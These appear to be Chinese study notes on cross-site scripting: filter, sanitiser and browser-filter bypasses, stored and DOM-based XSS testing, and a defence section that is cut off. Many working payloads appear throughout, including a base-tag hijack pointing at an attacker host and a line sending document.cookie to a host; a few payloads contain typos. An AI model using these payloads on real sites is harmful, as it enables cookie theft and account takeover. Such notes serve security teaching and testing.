劫持 base 标签,base 标签用来指定脚本源的域名,因此,如果应用程序有使用 base,并且在 base 之后的脚本引用,都是相对路径,那么可以在原来的 base 之后,插入一个新的 base ,将其指向攻击者自己的服务器,这样后续的脚本就会改向攻击者的服务器请求脚本;

1
2
3
4
<base href="http://mdattacker.net/badscripts/">
...
<script src="goodscript.js"></script>
<!-通常 base 标签仅允许出现在 head 部分,但少数浏览器如 firefox 允许出现在页面的任何位置->

使用一些特殊字符来替代空格,干扰过滤规则

1
2
3
4
5
6
7
<img/onerror=alert(1) src=a>
<img[%09]onerror=alert(1) src=a>
<img[%0d]onerror=alert(1) src=a>
<img[%0a]onerror=alert(1) src=a>
<img/"onerror=alert(1) src=a>
<img/'onerror=alert(1) src=a>
<img/anyjunk/onerror=alert(1) src=a>

即使在实施攻击时不需要任何标签属性,但应始终在标签名称后面添加一些多余的内容,因为这样可以避开一些简单的过滤,例如:<img/anyjunk/onerror=alert(1) src=a>

属性名称

就像标签名称一样,也可以在属性的名称中使用 NULL 技巧,例如:<img o[%00]nerror=alert(1) src=a>,这样可以避开基于 on 开头的属性名称的过滤;

属性分隔符

属性的分隔一般使用空格,但实际上也可以使用双引号或者单引号(IE 上还可以使用重音符);

1
2
3
<img onerror="alert(1)"src=a>
<img onerror='alert(1)' src=a>
<img onerror=`alert(1)` src=a>

通过使用引号或者重音符来分隔属性,并在标签名称后面使用特殊符号来替代空格,则可以实现整个输入都没有使用任何空格的情况,从而避开一些简单的过滤

1
<img/onerror="alert(1)"src=a>
属性值

属性值同样也可以使用 NULL 技巧,并且还可以使用 HTML 编码字符对输入进行模糊处理

1
2
3
4
<img onerror=a[%00]alert(1) src=a>
<img onerror=a&#x6c;ert(1) src=a>
<!-以下使用 HTML 编码对 javascript 伪源进行了编码->
<iframe src=j&#x61;vasc&#x72ipt&#x3a;alert&#x28;1&#x29;>

在使用 HTML 编码时,应注意到,浏览器支持多种编码变体,例如可以使用十进制或者十六进制格式,添加多余的前导零,并省略结尾分号等;

1
2
3
4
5
6
7
8
9
<!-十六进制,前导零->
<img onerror=a&#x06c;ert(1) src=a>
<img onerror=a&#x006c;ert(1) src=a>
<img onerror=a&#x0006c;ert(1) src=a>
<!-十进制,前导零,省略分号->
<img onerror=a&108;ert(1) src=a>
<img onerror=a&#0108;ert(1) src=a>
<img onerror=a&#108ert(1) src=a>
<img onerror=a&#0101ert(1) src=a>
标签括号

有些应用程序会对过滤后的输入进行不必要的 HTML 解码,例如

1
2
3
4
5
6
<!--实际输入如下,没有使用任何的括号,并使用 %25 和 %20 来代替 % 和空格-->
%253cimg%20onerror=alert(1)%20src=a%253e
<!--第一层解码,%25 和 %20 被转换为实际的百分符和空格,变成如下-->
%3cimg onerror=alert(1) src=a%3e
<!--由于应用程序会对输入进行 HTML 解码,导致最终呈现在浏览器中的输入变成如下字符-->
<img onerror=alert(1) src=a>

有些应用程序会将不常见的 Unicode 字符转换为相近的 ASCII 字符进行处理,例如双尖括号会转移为单尖括号,从而有机会避开过滤规则;

1
2
<<img onerror=alert(1) src=a>>
%u00ABimg onerror=alert(1) src=a%u00BB

很多过滤规则的算法比较简单,例如简单的匹配起始和结束的尖括号,提取内容,并将其与黑名单进行比较,来识别 HTML 标签,此时可以使用多余的括号来避开过滤(前提是浏览器接受这种多余的括号)

1
<<script>alert(1);//<</srcipt>

由于历史原因,有大量的合法的网站,使用不规范的 HTML 格式,而浏览器为了尽可能的兼容它们以进行正确的显示,导致浏览器接受各种不合法的 HTML 内容格式,并自动将其转换为规范的格式,这就为漏洞留下了大量的机会;可使用浏览器自带的工具,如“查看生成的源”,来查看浏览器如何转换一些不规范的格式;

字符集

使用不同的字符集来编码输入,常常可以避开过滤规则,不过它的挑战在于如何让浏览器按正确的字符集进行解析,一般需要能够控制 HTTP 响应头,例如 Content-Type 属性,或者对应的 HTML 元标签;

1
<!--对 <script>alert(document.cookie)/</script> 在不同字符集下的编码-->

如果应用程序默认支持使用多字节的字符集,例如 Shift-JIS,则可以在输入中使用在该字符集中具有特殊意义的字符,来避开输入过滤

例如某个应用程序支持 Shift-JIS 字符集,并在返回的响应中包括如下内容:

1
2
<!--用户输入1 和 用户输入2 两个位置可以根据用户输入显示的内容-->
<img src="image.gif" alt=["用户输入位置1"] /> ...["用户输入位置2"]

假设应用程序的过滤规则限制了在用户输入位置1使用引号,并在用户输入位置2限制使用尖括号,则此时可以将输入1和输入2分别设计为如下:

  • 输入1: %f0
  • 输入2:”onload=alert(1);

根据 Shift-JIS 字符集,%f0 后面的引号,将被解析为 %f0 的组成部分,从而使用原本 HTML 属性中的引号失去作用,之后一直到输入2的位置的引号才完成配对,从而成功的插入了 onload=alert(1) 语句;

较少用的字符集包括:Shift-JIS、EUC-JP、BIG5 等;

避开过滤:脚本代码

有些过滤规则会对输入中的 javascript 敏感字符进行过滤,例如分号、圆括号、圆点等;此时需要对这些关键符号先进行模糊处理才行,常见的处理办法如下:

转义

javascript 支持多种转义方法,因此可以使用这些方法,对关键字符进行转义处理;

1
2
<!--对字母 L 进行 Unicode 转义 -->
<script>a\u006cert(1);</script>

如果能够使用 eval 命令,则可以将需要执行的代码,弄成字符串,传给 eval 命令实现执行;

1
2
3
4
5
<script>eval('a\u006cert(1)');</script> // Unicode 转义
<script>eval('a\x6cert(1)');</script> // 十六进制转义
<script>eval('a\154ert(1)');</script> // 十进制转义

<script>eval('a\l\ert'(1\);</script> // 字符串中带转义符将会被忽略
动态构建字符串
1
2
3
<script>eval('al'+'ert(1)';</script>
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41));</script>
<script>eval(atob('amF2YXNjcmlwdDphbGVydCgxKQ'));</script> // Base64 编码的方式
替代 eval 的方法
1
2
<script>'alert(1)'.replace(/.+/,eval)</script> // 字符串的内置函数+正则替换
<script>function::['alert'](1)</script>
替代圆点
1
2
<script>alert(document['cookie']</script> // 使用中括号访问对象属性的方法
<script>with(document)alert(cookie)</script> // 使用 with 语法
组合多种技巧

例如先使用 Unicode 对关键字进行转义,然后再使用 HTML 编码将 Unicode 用到的反斜杠进行编码,以避开过滤;

1
<img onerror=eval('al&#x5c;u0065rt(1)') src=a> // 此处对 alert 单词中的 e 字母先用 Unicode 进行转义,然后再将 Unicode 转义中用到反斜杠进行 HTML 编码,

此外还可以对 onerror 属性值中的任何字符进行 HTML 编码,以便进一步隐藏攻击;

很多针对 Javascript 的过滤规则一般会核查 Javascript 中使用到的关键字符,例如引号、点号、括号等,对这些符号使用 HTML 编码后,就可以避开过滤规则;

使用 VBScript

通常 XSS 攻击都是使用 Javascript 语言来插入恶意脚本,但是有些浏览器除了支持 Javascript 外,还支持其他语言,例如 IE 浏览器支持 VBSript;因此,如果存在此种情况,则攻击者可以根据 VBSript 的语法语法特征来设计攻击脚本,以避开过滤规则;

1
2
3
4
<script language=vbs>MsgBox 1</script>
<img onerror='vbs:MsgBox 1' src=a>
<img oneeror=MsgBox+1 language=vbs src=a> // Msgbox 之后接的加号表示空格,用来针对空格的过滤
// 以上例子的 vbs 字样,同时还可以替换为 vbsript 字样,二者的效果是一样

VBSript 的一些特点:

  • 不使用括号也可以实现函数的调用(可避开针对括号的过滤);
  • 不区分大小写(Javascript 语法规则要求表达式需要使用小写,不支持大写,可绕开进行大写转换的净化规则);
组合 Javascript 和 VBSript

可以设计从 Javascript 中调用 VBScript,或者反过来也行,从而增加攻击的复杂度,以避开过滤规则;

1
2
3
4
5
<script>execScript("MsgBox 1", "vbscript");</script>
<script language=vbs>execScript("alert(1)")</script>

// 以下是一个嵌套使用两种脚本的复杂示例
<script>execScript('execScript"alert(1)", "javascript"', "vbscript");</script>

由于 VBSript 不区分大小写,即使输入被全部转换成大写后,仍然可以被浏览器执行,这意味着如果想实现 Javascript 的调用,可以使用 VBSript 脚本,调用内置的 LCASE 函数,将被净化规则转换后的大写,再次转换成小写来实现;

1
2
<SCRIPT LANGUAGE=VBS>EXECSCRIPT(LCASE("ALERT(1)"))</SCRIPT>
<IMG ONERROR="VBS:EXECSCRIPT LCASE('ALERT(1)')" SRC=A>
使用经过编码的脚本

早期微软在 IE 浏览器中,使用某种定制的脚本编码,对脚本进行模糊处理,以防止用户查看 HTML 页面的源代码,但后面该编码被破解了,导致了额外的一个漏洞,即攻击者可以根据该编码规则,先对输入进行模糊处理,以避开过滤规则,然后输入最终又会被浏览器解码成正确的脚本内容;

避开净化

净化是一种防守策略,不过貌似直接拒绝请求,并根据情况加入黑名单不是更好?

净化是一种应对攻击的常用策略,其中一种常见的方法是将输入进行 HTML 编码,这样就可以避免输入的脚本被浏览器执行;有时候,应用程序甚至会删除输入中的特定字符,以清除其中可能包含的恶意内容;此时需要做两件事情:

  • 了解程序对哪些字符实施了净化规则,然后组合多种技巧避开它们;
  • 了解输入内容被净化后,余下的内容有无可能实施攻击

净化算法经常有漏洞,例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
// 只替换了第一个匹配值
输入:<script><script>alert(1)</script>
结果:<script>alert(1)</script>

// 没有递归
输入:<src<script>ipt>alert(1)</script>
结果:<script>alert(1)</script>

// 对多个关键字实施净化时,使用固定的处理顺序,因此攻击者可以利用该顺序,让第一个步骤未能找到匹配值,然后利用第二个步骤的净化结果,得到想要插入的正确脚本
输入:<src<object>ipt>alert(1)</script>
结果:<script>alert(1)</script>

// 净化规则会转义引号,但未转义反斜杠本身,因此,攻击者可以在输入中加入反斜杠,对净化规则添加的反斜杠进行转义,使其失效;
输入:var a = foo\"; alert(1); //
结果:var a = "foo\\"; alert(1);//";

// 未处理尖括号,攻击者有机会利用转义会废弃原脚本,原因:浏览器会优先解析 HTML 标签,再处理 js 脚本
输入:</script><script>alert(1)</script>
结果:<script> var a = "</script><script>alert(1)</script>"
// 虽然此处变量 a 的声明中只包含1个引号,不符合 js 语法,可能会出现报错,但问题不大,因为浏览器会跳过,直接执行下一段脚本

// 如果注入的位置处于事件中,则可以使用 HTML 编码来避开净化
位置 foo:<a href="#" onclick="var a = 'foo'";></a>
输入:foo&apos;; alert(1); //
直接结果:<a href="#" onclick="var a = 'foo&apos;; alert(1); //'"></a>
解码后结果:<a href="#" onclick="var a = 'foo"; alert(1); //'"></a>

一些净化规则的设计者认为对用户的输入进行 HTML 编码,可以规避 XSS 攻击,但由于浏览器在编译 HTML 文本前,会先对其进行 HTML 解码的动作,因此,规避攻击的意图不一定可以实现;

避开长度限制

方法一:使用尽可能短的脚本

1
2
3
4
5
6
7
// 将 cookie 传送至主机名为 a 的服务器
open("//a/"+document.cookie)

// 从主机名为 a 的服务器加载一段脚本
<script src=http://a></script>

注:以上的服务器只能针对局域网内的机器,如果是因特网上的机器,只提供主机名还不够

有一些第三方工具可以用来尽量缩短有效的 js 代码,例如 javascript packer 工具

方法二:将一段攻击脚本拆分成多段,分散在同一个页面的不同位置

1
2
3
4
5
6
7
8
9
10
11
12
// 源代码,接收请求 URL:https://sample.com/account.php?page_id=244&seed=123&mode=normal
<input type="hidden" name="page_id" value="244">
<input type="hidden" name="seed" value="123">
<input type="hidden" name="mode" value="normal">

// 攻击者可以将请求参数设计为如下格式:https://sample.com/account.php?page_id="><script>/*&seed=*/alert(document.cookie);/*&mode=*/</script>

得到的结果如下:
<input type="hidden" name="page_id" value=""><script>/*>
<input type="hidden" name="seed" value="*/alert(document.cookie);/*">
<input type="hidden" name="mode" value="*/</script>">
以上结果将执行 "alert(document.cookie);",同时该脚本前后位置的部分变成了 HTML 注释;

当使用了长度限制的过滤后,例如将名称限制在 12 个字符以内,开发者有可能觉得如此短的长度,不可能实施有效的 XSS 攻击,因此没有进一步对该输入进行净化过滤,从而攻击者有机会将攻击荷载分散到不同的多个位置,然后其组合起来后,将有效的注释掉两个位置中间的部分;

有可能攻击者在某个中间位置,因为没有长度限制,实施了很严格的净化过滤,但由于前后位置已经被攻陷,导致中间位置的净化完全失去作用;

方法三:将反射型漏洞转化成 DOM 型漏洞

1
2
3
4
5
6
7
// 假设某个反射型漏洞存在长度限制,攻击者可以在合理的长度范围内,注入一段脚本,让其访问另外一个标签节点的值,并执行它
<script>eval(location.hash.slice(1)</script> // 该段脚本只有45个字符,但它可以在页面中生成一个 DOM 漏洞,然后攻击者再利用生成的 DOM 漏洞来创造机会,执行位于片断字符串中的另一段脚本;

完整的请求为:http://sample.com/error/5/error.ashx?message=<script>eval(location.hash.substr(1)</script>#alert('long script insert here...')

或者为:http://sample.com/error.ashx?message=<script>eval(unescape(location))</script>#%0Aalert('long script insert here...')
location 代表的值先被 HTML 解码,然后传递给 eval 命令,整个 URL 作为有效的 javascript 执行;其中 http: 协议前缀作为代码标签,协议前缀后的 // 变成了单行注释的起始点,%0A 经过解码后,变成了换行符,表示注释结束,之后 alert 的代码被执行
实施有效的 XSS 攻击
将攻击扩展到其他页面

假如在某个页面发现了一个 XSS 漏洞,但该页面可能并不包含敏感数据,此时需要扩展该漏洞攻击范围。常见方法为利用该漏洞,先传送一个攻击脚本,该脚本用来实现在用户的浏览器中持续运行,监控并提取用户的数据;之后,当用户进入到包含敏感数据的页面时,就可以提取需要的数据了;

例如可以通过创建一个包含整个浏览器窗口的 iframe,然后在该 iframe 中重新加载当前页面;之后用户的浏览操作,实际都是在当前 iframe 中运行,并没有切换页面,从而使得攻击脚本延长了生命周期,得到始终运行;

修改请求方法

很多应用程序经常同时接受 GET 和 POST 请求,但开发者并没有意识到这点,只将过滤规则适用在其中一个请求上,另外一种请求并没有使用过滤,因此,攻击者有机会利用另外一种请求要实现攻击;

  • 有些开发者利用 cookie 来保存用户相关的数据,从而实现定制化的效果,但这样其实很危险,因为这意味着攻击者可以提交设计好的字符串,然后让其出现在 cookie 中;之后应用程序的某个功能会去读取该 cookie 值,从而触发恶意脚本的执行;
  • 另外有些应用程序可能还会允许在 URL 中设置与 cookie 同名的参数,然后会读取该参数值,导致漏洞;
  • 一些浏览器使用的扩展技术(如 Flash)可能存在各种漏洞,但没有及时修复,通过利用这些插件本身的漏洞,就可能实现攻击;
  • 在有漏洞的 A 页面设置一个永久性的 cookie 值,然后在 B 页面,当 cookie 被读取时,脚本得以执行;

cookie 攻击可行的本质原因在于 cookie 是跨页面存在的,因此它可以用来在不同页面之间传递数据;

通过 Referer 消息头利用 XSS 漏洞

攻击者自建一台服务器,放上目标应用程序的 URL,诱使用户点击;当用户点击后,发给目标程序请求消息头中的 Referer 字段,将自动设置为攻击者的服务器,此时攻击者有机会在该 Referer 字段中放入脚本,当目标程序读取它时,触发执行;

很多应用程序会尝试读取请求的 Referer 字段来实现一些功能,例如显示访问来源;

通过非标准请求和响应内容利用 XSS 漏洞

有些应用程序在脚本中使用 XMLHttpRequest 来发送请求,而无须刷新页面;之后在收到服务端的响应内容后,通过 AJAX 提取内容,并改写 DOM 来实现页面局部内容的变化;

跨域请求:用户在 A 域名的页面下,发起访问 B 域名的请求;表单是允许的,但是 XHR 是不允许的,除非服务端实现接口;原理很简单:当浏览器发现用户发起向 B 网站的请求时,就向 A 域名的服务器发送一个确认,如果 A 服务器返回的响应中,在报头的 Access-Control-Allow-Origin 字段指示 B 域名是其允许的访问范围,那么浏览器就会向 B 域名发出请求;如果不允许,则浏览器拒绝请求,抛出一个错误;

通过在 HTTP 报头的 Content-Type 字段指定消息类型,浏览器支持直接处理响应内容,而无须由脚本进行处理;这种情况下,通常注入脚本代码的方式将失效,因为脚本没有机会操作响应内容;

虽然 XHR 不允许跨域请求,但传统的表单则支持向任意的域名发起请求,因此,可以使用表单来发送数据,从而避开 XHR 的限制;

将表单的 enctype 属性值设置为 text/plain,可以实现在 HTTP 请求主体中跨域传送数据;其原理在于,当浏览器发现某个表单的 enctype 属性值为 text/plain 时,它将按如下的方式处理该表单的数据:

  • 在请求中隔行传送每个表单参数;
  • 使用等号分隔每个参数的键名和键值;
  • 不对参数名称和值进行 URL 编码;

注:不是所有的浏览器都遵守上面的做法,需要提前确认;已知浏览器:IE、Firefox、Opera 等;

这里最大的一个特性在于,浏览器会为键值地自动添加等号,因此攻击者可以利用这个特性来构建数据;假设需要提交的数据格式,本身包含有至少一个等号,那么我们可以将等号左边的数据做为键名,等号右边的数据做为键值,等号则由浏览器自动添加,三者合一,最终形成 XML 数据格式;

此处的要点在于利用表单的特性,来构建 XML 格式的请求主体;

1
2
3
4
5
6
// 传送跨域的 XML 请求
// 将表单的 enctype 属性值设置为 text/plain,可以实现在 HTTP 请求主体中跨域传送数据
<form enctype="text/plain" action="http://sample.com/vuln.php" method="POST">
<input type="hidden" name='<?XML version' value='"1.0"?><data<param>foo</param></data>'>
</form>
<script>document.forms[0].submit();</script>

如果在包含非标准内容的请求中发现了类似 XSS 漏洞的行为,则可以通过将消息头 Content-Type 属性的值设置为 text/plain,然后查看应用程序是否依然能够正常响应;如果可以,说明存在 XSS 攻击漏洞;如果不行,则漏洞无法利用;

当响应由浏览器直接执行时,浏览器一般会跟消息头中的 Content-Type 规范,对响应内容进行处理;此时如果想要构建能够触发浏览器执的脚本的响应,一般来说需要利用内容类型的一些特点,例如 XML 支持在中间插入 HTML 内容(使用 XML 标签定义一个 XHTML 的命名空间);

攻击浏览器 XSS 过滤器

很多浏览器都内置了防范 XSS 攻击的功能,它们会监控请求和响应,检查其中的内容是否携带 XSS 攻击内容,如果有的话,会对其进行修改,以阻止攻击;

虽然浏览器的内置功能确实可以阻止绝大多数的标准 XSS 攻击,为攻击者带来很大的障碍,但有意思的是,过滤规则本身也会引入新的漏洞,给攻击者新的机会;一些常见的避开办法如下:

  • 过滤器经常只检查参数值,只没有检查参数名称;这意味着如果参数名称会回显的话,那么攻击者就可以将脚本注入到参数名称中,避开过滤;
  • 过滤器单独检查每个参数值,但是攻击者可以将攻击脚本分散在多个参数中;当这些参数同时回显时,就能够组合成完整的攻击脚本;
  • 出于性能考虑,过滤器仅检查跨域请求,没有检查由用户点击 URL 发出的本地请求,攻击者可以在内容中放入恶意链接,等待用户点击;

利用浏览器本身的非正常行为:

  • 当存在多个同名参数时,IE 会将它们串联起来,因此攻击者可以将攻击荷载分散在多个参数中,从而避开 IE 针对单个参数的过滤;但最终串联起来后又能实现预期效果;
  • 过滤器通常基于对输入和输出进行匹配检查,确定二者存在关联;因此攻击者可以故意在输入中放入应用程序的现有脚本,从而利用过滤器将现有脚本进行净化,让其失去作用,例如破坏应用程序在客户端的案例防御功能;

查找并利用保存型 XSS 漏洞

保存型漏洞的探查大体上和反射型类似,但二者还是有如下一些重要的区别

渗透测试步骤

  • 反射型漏洞能够直接从应用程序的响应内容中发现,保存型则要曲折一点;当在某个位置提交一个预设输入值的请求后,需要在整个程序的范围去查找该输入会出现在什么地方,因为它不一定直接出现在该请求的响应内容中;同一个输入值有可能出现在很多个不同的页面,并且每个页面可能使用了不同的过滤保护方法,因此需要对每个出现的位置进行单独的分析;
  • 重点检查管理员可以访问的所有应用程序区域,并确认其中是否存在某些内容可以由非管理员用户提交;例如很多应用程序会提供日志浏览功能,这种功能很容易存在漏洞,攻击者可以通过提交包含恶意 HTML 的日志记录,等待管理员浏览时触发;
  • 某些应用程序的功能是由多个步骤组成的,因此单个步骤中提交的数据要最终成功保存并生效,需要彻底完全所有步骤,再判断漏洞是否存在,仅单个步骤不准确;
  • 跟探查反射型漏洞时一样,在提交输入时,除了尝试每一个参数外,还应该包括每一个消息头;同时,在探查保存型漏洞时,还应注意应用程序是否接收一些带外通道数据的功能,这些功能很很可能也是攻击切入点;
  • 如果应用程序允许上传和下载文件,则应探查该功能是否存在保存型漏洞;
  • 发挥想象力,找到各种可能提交输入,并出现在其他用户界面的办法;例如某些应用程序的搜索功能会显示搜索频率最高的关键字,攻击者通过多次提交相同的搜索关键字,即可以引入攻击荷载;

在探查完位置后,接下来要考虑两个事情:

  • 如果设计荷载,让其出现在目标用户的界面上,实现预期目的;
  • 如果避开过滤

在提交输入请求时,如果存在多个参数,则应该为每个参数设计不同的值,这样才好判断具体是哪个参数,最终出现在哪个位置;如果所有参数值都相同,则很难判断,全部混在一起了;

在 Web 邮件应用程序中测试 XSS

Web 邮件应用程序由于需要接收第三方的内容,并展示在界面上以供用户查看,因此其天然存在保存型 XSS 漏洞的风险;最便捷的探查办法是创建一个自己的账户,然后自己给自己发送大量设计过攻击邮件,看攻击是否能够成功;

如果使用标准的邮件客户端,由于其自带内容净化功能,很可能导致无法将原始内容一字不变的发送出去,此时需要使用一些特殊的邮件发送工具来发送,例如 UNIX sendmail 命令;

1
2
// 命令
sendmail -t test@example.org < email.txt

在 email.txt 文件中指定邮件内容

可根据需要使用不同的 content-type 和 charset,以避开目标服务器的过滤机制;

在上传文件中测试 XSS

文件上传功能很常见,尤其是图片,常用于 UGC 内容和用户的头像中;该功能是否易于受到攻击,跟几个方面的因素有关:

  • 上传时,是否有扩展名的限制;
  • 上传时,是否有检查文件内容,以确认格式正确;
  • 下载时,是否通过 content-type 消息头指定内容类型,例如 image/jpeg;
  • 下载时,是否通过 Disposition 消息头,指示浏览器直接保存文件到磁盘上,而非打开它;

测试方法:上传一个包含简单的概念验证脚本的文件,然后下载它,看是否会原样返回并执行脚本;如果会的话,则说明漏洞存在;

如果有扩展名限制,则尝试更换其他各种不同的扩展名,因此虽然扩展名与内容可能不同,但如果内容中包含 HTML,它仍然有可能被浏览器执行;

如果应用程序对文件内容进行检查,则可通过混合文件格式来避开,即在一个文件中包含部分指定类型的内容(如图片);由于浏览器支持越来越多的可执行代码格式,因此混合文件内容的攻击原理仍然适用;

在通过 Ajax 上传的文件中测试 XSS

URL 的片断标识符 # 用来对当前 URI 资源的某个局部进行标识,它常用的一个场景是可以记住某个位置,这样当用户在进入这个界面时,通过脚本,可以让页面滚动到指定的局部位置,而无须从头开始浏览;

由于片断标识符中的内容会被脚本加载,因为它可能存在 XSS 漏洞;攻击者通过在标识符内容中混入某个恶意文件,诱使用户点击,触发恶意文件的加载并执行;例如:

攻击者甚至可以在标识符内容中放入一个外部服务器的脚本,当用户点击链接时,会向某个攻击者控制的外部服务器发送请求,下载攻击者提前写好的恶意脚本文件;

查找并利用基于 DOM 的 XSS 漏洞

DOM 类型的漏洞与反射型漏洞的区别在于前者没有提供 HTML,而是通过将恶意代码混入请求参数来实现攻击;

常规探查办法:手动浏览应用程序的每个功能,并修改每一个参数,插入一个特殊的测试字符串,然后观察应用程序服务器返回的响应中,是否包含该字符串;

由于不知道应用程序的客户端脚本将如何处理参数和插入方式,使用常规的探查办法可能非常低效,更好的办法是主动阅读目标程序的客户端 JS 代码,了解其处理参数的逻辑,然后有针对性的对输入参数进行设计;已有不少现成的工具可以完成这一个过程,例如 DOMTracer;

渗透测试步骤:

  • 在解析应用程序的过程中,检查客户端脚本是否调用 DOM API,如果有的话,再查看页面上是否参数被提交到页面中;常见的 API 如下:
    • document.location
    • document.URL
    • document.URLUnencoded
    • document.referer
    • windown.location
  • 检查 DOM API 的调用代码,了解其处理用户数据的方法,看是否可以使用针对性的输入来执行任意的 js ;
  • 特别注意数据被传送到 document 的以下方法:
    • document.write()
    • document.writeln()
    • document.body.innerHtml()
    • eval()
    • window.execScript()
    • window.setInterval()
    • window.setTimeout()
  • 查看客户端的脚本中是否有过滤的代码,如果有的话,了解其过滤机制,以设计避开的办法;
  • 有时候,服务端本身也对输入进行过滤,以避免 DOM 攻击;此时,需要使用前面提到的各种方法,探查服务器的机制;
  • 有些客户端脚本不是将参数解析成键值对,而是直接提取等号位置后面的内容,此时会有两个漏洞:
    • 服务端很可能只会过滤已知属性,而不会过滤未知属性;因此,攻击者可以插入一个虚拟的参数键值对,避开服务端的过滤;同时利用客户端只提取等号右边内容的特点,让插入值被加载;
    • 由于浏览器不会将片断符的内容提交给服务端,因此攻击可以将恶意内容插入在片断标识符之后;这样可避开服务端的检查,同时内容仍可被客户端加载;
  • 如果客户端脚本对基于 DOM 的数据进行非常复杂的处理,通过静态代码分析很难了解其完整处理过程的话,可以尝试利用 js 调试器来动态监控脚本的执行情况,因为调试器可以很方便的设置断点,监视感兴趣的代码与数据;

防止 XSS 攻击

防止反射型与保存型 XSS 漏洞

反射型与保存型 XSS 漏洞的根本原因在于未对用户的输入进行严格的过滤和净化;

三重防御法

确认输入

  • 数据长度限制
  • 仅包含合法字符的白名单;
  • 与一个特殊的正则表达式匹配;
  • 对不同的字段应用不同的确认规则

确认输出

如果用户提交的输入需要被复制到响应中的话,那些应该对这些内容进行严格的净化

  • 对数据进行 HTML 编码,无谓数据出现在什么地方,无论什么字符;
  • 避免在敏感位置插入用户可以控制的数据;如果一定需要,则应根据用户的输入的类型,插入由开发者提前设计好的内容,而不是复制并插入用户提交的内容;
  • 对用户输入中出现的敏感字符进行转义;

输入和输出过滤结合可以带来双重保障,降低被攻击的风险,其中输出过滤必不可少;虽然这会带来一定的性能损失;

消除危险的插入点

  • 避免在现有的 JS 代码中插入用户可控制的数据,包括